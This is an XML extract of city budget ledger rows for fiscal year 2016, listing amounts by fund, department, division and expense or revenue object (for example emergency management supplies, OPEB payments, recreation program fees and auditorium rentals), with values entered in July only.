<row _id="21972"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533230.0</object><object_description>SECURITY SYSTEMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>771</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>771</total></row>
<row _id="21973"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>27516</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>27516</total></row>
<row _id="21974"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21975"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>800</total></row>
<row _id="21976"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="21977"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409071.0</object><object_description>ROSIE'S GIRLS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-5530</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5530</total></row>
<row _id="21978"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409072.0</object><object_description>ROSIE'S GIRLS-SUMMER I</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-24216</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-24216</total></row>
<row _id="21979"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407060.0</object><object_description>KEC TENANT RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-128266</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-128266</total></row>
<row _id="21980"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533790.0</object><object_description>CONF / MTGS / TRAVEL -</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4325</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4325</total></row>
<row _id="21981"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511020.0</object><object_description>MOU CONTINGENCY</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2000000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2000000</total></row>
<row _id="21982"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1300</total></row>
<row _id="21983"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579963.0</object><object_description>BBB-GEN FUND REIMB-FIN</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-269786</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-269786</total></row>
<row _id="21984"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9509</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9509</total></row>
<row _id="21985"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>394029</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>394029</total></row>
<row _id="21986"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>999</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>999</total></row>
<row _id="21987"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1576</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1576</total></row>
<row _id="21988"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10217</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10217</total></row>
<row _id="21989"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-9572</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-9572</total></row>
<row _id="21990"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-131014</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-131014</total></row>
<row _id="21991"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>25931</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25931</total></row>
<row _id="21992"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21993"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>55114</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>55114</total></row>
<row _id="21994"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>104</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>104</total></row>
<row _id="21995"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>407745</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>407745</total></row>
<row _id="21996"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-7428</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7428</total></row>
<row _id="21997"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5435</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5435</total></row>
<row _id="21998"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544160.0</object><object_description>RIDESHARE PROGRAM</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7161</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7161</total></row>
<row _id="21999"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10056</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10056</total></row>
<row _id="22000"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>577710.0</object><object_description>DOWNTOWN SHUTTLE PROGRAM</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>70608</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>70608</total></row>
<row _id="22001"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401380.0</object><object_description>POUND FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-24710</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-24710</total></row>
<row _id="22002"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4257</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4257</total></row>
<row _id="22003"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22004"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22005"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409010.0</object><object_description>CHILDCARE-JUNE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-13867</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-13867</total></row>
<row _id="22006"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409023.0</object><object_description>ENRICHMENT-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-94000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-94000</total></row>
<row _id="22007"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409041.0</object><object_description>ELEM SPORTS-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-64550</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-64550</total></row>
<row _id="22008"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409042.0</object><object_description>ELEM SPORTS-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-61102</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-61102</total></row>
<row _id="22009"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>401700.0</object><object_description>CIVIC AUDITORIUM RENTALS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-154800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-154800</total></row>
<row _id="22010"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579962.0</object><object_description>BBB-GEN FUND REIMB-ISD</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-450752</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-450752</total></row>
<row _id="22011"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>101155</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>101155</total></row>
<row _id="22012"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>25639</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25639</total></row>
<row _id="22013"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-23210</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-23210</total></row>
<row _id="22014"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8876</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8876</total></row>
<row _id="22015"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522312.0</object><object_description>DISCOUNTS LOST</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>37300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>37300</total></row>
<row _id="22016"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409062.0</object><object_description>SMSE-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-8650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-8650</total></row>
<row _id="22017"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409073.0</object><object_description>ROSIE'S GIRLS-SUMMER II</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-24215</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-24215</total></row>
<row _id="22018"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533700.0</object><object_description>CONF / MTGS / TRAVEL -</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4325</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4325</total></row>
<row _id="22019"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2579</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2579</total></row>
<row _id="22020"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15476</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15476</total></row>
<row _id="22021"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555510.0</object><object_description>1450 OCEAN</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
